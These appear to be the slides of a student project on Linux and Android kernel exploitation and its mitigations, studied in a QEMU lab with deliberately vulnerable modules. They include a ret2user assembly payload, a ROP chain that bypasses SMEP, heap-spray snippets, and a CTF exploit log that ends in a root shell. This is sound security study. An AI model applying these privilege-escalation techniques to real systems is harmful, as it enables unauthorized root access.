



Security Analysis of Embedded Software at the Binary Level

Szapula László

Semester project (BSc)

Supervisors: Dr. Buttyán Levente, Komáromy Dániel, Miru György


Background and motivation

- Base linux kernel has many mitigations
- Android is based on linux
- Different manufacturers use custom kernels
- LPE through kernel exploitation



Objectives

- Study main mitigations in base linux kernel
- Find a way to bypass each
- Aarch64 architecture
- Security analysis of Android kernel



Environment

- QEMU virtual machine, buildroot fs
- GDB with pwndbg
- CROSS_COMPILE=aarch64-linux-gnu-
- Custom made vulnerable kernel modules
- Github for documentation and codes



Access checks

- Never use memcpy in kernel module!
- Now it has access checks tho (patched out for exploit)
- Walking through all task_struct structures
- Finding own PID, then rewrite creds
- copy_to_user() / copy_from_user() -> safer

```
ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
{
    ssize_t ret;

    if (!(file->f_mode & FMODE_READ))
        return -EBADF;
    if (!(file->f_mode & FMODE_CAN_READ))
        return -EINVAL;
    if (unlikely(!access_ok(buf, count)))
        return -EFAULT;
```

Return-to-userspace

- Escalate privilege in kernel mode
- `commit_creds(prepare_kernel_cred(0))`
- Returning to user mode, then opening shell with root privs
- Can be done with simple buffer overflow

```
__asm__(
    ".intel_syntax noprefix;" // setting intel syntax
    "movabs rax, 0xffffffff81089f90;" // prepare_kernel_cred
    "xor rdi, rdi;" // 0 as parameter
    "call rax;" // calling prepare_kernel_cred
    "mov rdi, rax;" // setting the return to the parameter of commit_creds
    "movabs rax, 0xffffffff81089b50;" // commit_creds
    "call rax;" // calling commit_creds
    "swapgs;" // swapping the gs register
    "mov r15, user_ss;"
    "push r15;"
    "mov r15, user_sp;"
    "push r15;"
    "mov r15, user_rflags;"
    "push r15;"
    "mov r15, user_cs;"
    "push r15;"
    "mov r15, user_rip;"
    "push r15;"
    "iretq;" // returning to user mode
    ".att_syntax;" // setting syntax back to at&t
);
```

SMEP, SMAP

- Supervisor Mode Execution Protection (CR4[20])
- Supervisor Mode Access Protection (CR4[21])
- To prevent ret2user, needs CPU support
- SMEP bypassed via ROP
- SMAP bypassed via ret2dir (haven't done yet)

```
msg[off++] = stack_cookie;
msg[off++] = dummy;
msg[off++] = pop_rdi_ret; // pop rdi; ret;
msg[off++] = 0; // to rdi
msg[off++] = prepare_kernel_cred;
msg[off++] = pop_rdx_ret; // pop rdx; ret;
msg[off++] = 8; // to rdx
msg[off++] = cmp_rdx_8_jne_ret; // cmp rdx, 8; jne; ret;
msg[off++] = mov_rdi_rax_jne_xor_ret; // mov rdi, rax; jne; xor eax, eax; ret;
msg[off++] = commit_creds;
msg[off++] = swapgs_nop3_xor_ret; // swapgs; ret;
msg[off++] = iretq;
msg[off++] = user_rip;
msg[off++] = user_cs;
msg[off++] = user_rflags;
msg[off++] = user_sp;
msg[off++] = user_ss;
```

Heap overflow

- Buddy system + SLUB allocator
- Finding kernel structure inside same sized kmalloc bin
- Possibly one with function pointers -> overflow
- Example: shm_file_data (->file->file_operations)
- Spraying until one such structure overflowable
- Calling the overloaded function

```
printf("[+] Allocating many shm_file_data structs...\n");
for(int i=0; i<10; i++){
    shm_id = get_shm_id();
    create_shm_file_data(shm_id);
}
```

```
printf("[+] Triggering exploit...\n");
ret = msync(address, 0x1000, MS_SYNC);
if(ret != 0){
    perror("msync");
}
```


A CTF challenge – zer0pts meowmow

- To test my knowledge
- Introducing KASLR, KPTI (and now need to bypass SMAP)
- KASLR: leaking address from heap, KPTI: kpti trampoline
- SMAP: putting ROP chain on the heap buffer

```

Boot took 0.93 seconds

\\ \      /// wWw       .-.         (O)) ((O)\\ \\      ///   .-.        (O)) ((O)
((O) (O)) (O)_ c(0_0)c          ||    || ((O) (O)) c(0_0)c     ||      ||
 \ \ / / | ) ,'.---.' , // \ \ / / | ) ,'.---.' , // \ \ / / 
||\V//| / ( / |_ _|\ \ ||/\| || ||\V//| / |_ _|\ \ ||/\| || 
|| V |( _)| \_____/ | / / \ \ || V ||| \_____/ | / / \ \ 
||    || \ \ '.---.' .' (/ \ \ ||    ||'.---.' .' (/ \ \ 
(/ \ \ \ )'.---.' )    ( / \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ 

/ $ id
uid=1000 gid=1000 groups=1000
/ $ /tmp/exploit
[+] Opening device file
[+] Filling with 0x41..
[+] Allocating tty_struct...
[+] Reading out of the allocated memory
[+] Memory dump from heap:
*****
            100005401                      0
ffff8f034e64c840             ffffffff8f265900
                        0                     0
                        0             ffff8f034e69b038
ffff8f034e69b038             ffff8f034e69b048
*****
[+] tty_operations address: 0xfffffffff8f265900
[+] Base kernel address: 0xfffffffff8e400000
[+] Kernel heap address: 0xfffff8f034e69ac00
[+] Sending ROP code
[+] Sending payload
[+] Triggering exploit
[+] Returned to userland, spawning root shell...
[+] Privilege level successfully escalated, spawning shell...
/ # id
uid=0(root) gid=0(root)
/ #
```

ARM64 architecture

- RISC
- Different function call conventions (no push and pop)
- Link register
- Much harder to ROP
- Exercise: bubble sort and merge sort in arm64 assembly

```
merge:
    sub sp, sp, #48      // increase stack
    str x0, [sp]         // saving array1 to stack
    str w1, [sp, #8]     // saving length1 to stack
    str x2, [sp, #12]    // saving array2 to stack
    str w3, [sp, #20]    // saving length2 to stack
    str x29, [sp, #32]   // saving x29 and x30 for returning to caller
    str x30, [sp, #40]   // because calling malloc will modify these
```

```
mergeend:
    ldr x0, [sp, #24]    // return new array in x0
    ldr x29, [sp, #32]   // reset x29
    ldr x30, [sp, #40]   // reset x30
    add sp, sp, #48      // decreasing stack
    ret
```

Memory debugger module

- Because debugging is harder on real device
- Compiling kernel with this module -> info about memory
- Info about page tables

```
# ./test
virtual address: 0x0000aaab13fa7010
[ 147.836131] *****
[ 147.836601] *****MEMORY INFO*****
[ 147.836817] *****
[ 147.836996] -----PUD INFO-----
[ 147.837168] pud entry:      0x0000000042f41003
[ 147.837322] PUD_TYPE_TABLE : [+]
[ 147.837517] PUD_TABLE_BIT  : [+]
[ 147.837654] PUD_TYPE_MASK  : [+]
[ 147.839940] PMD_ATTRINDX   : 0x0
[ 147.839957] -----PTE INFO-----
[ 147.847970] page table entry:      0x00e80000481f7f43
[ 147.849060] PTE_VALID        : [+]
[ 147.849242] PTE_TYPE_MASK    : [+]
[ 147.849378] PTE_TYPE_PAGE    : [+]
[ 147.849501] PTE_TABLE_BIT    : [+]
[ 147.849621] PTE_USER         : [+]
[ 147.849741] PTE_RDONLY       : [-]
[ 147.849858] PTE_SHARED       : [+]
[ 147.849949] PTE_AF           : [+]
[ 147.850059] PTE_NG           : [+]
[ 147.850174] PTE_GP           : [-]
[ 147.850276] PTE_DBM          : [+]
[ 147.850422] PTE_CONT         : [-]
[ 147.850503] PTE_PXN          : [+]
[ 147.850587] PTE_UXN          : [+]
[ 147.850680] PTE_ADDR_LOW     : [+]
[ 147.850773] PTE_ADDR_MASK    : [+]
[ 147.850865] PTE_ATTRINDX     : 0x0
[ 147.850880] -----PHYSICAL ADDRESS-----
[ 147.851103] virtual address:      0x0000aaab13fa7010
[ 147.851248] physical address:     0x00680000481f7010
```

Conclusion and future work

- Learned much about linux kernel exploitation and mitigations
- Learned the inner workings of the linux kernel
 - Memory management, process management ...
- Learned the basics of Aarch64
- Future work:
 - Internship
 - Security analysis of real devices
 - Learning more advanced exploitations
 - Custom mitigations in the Android kernel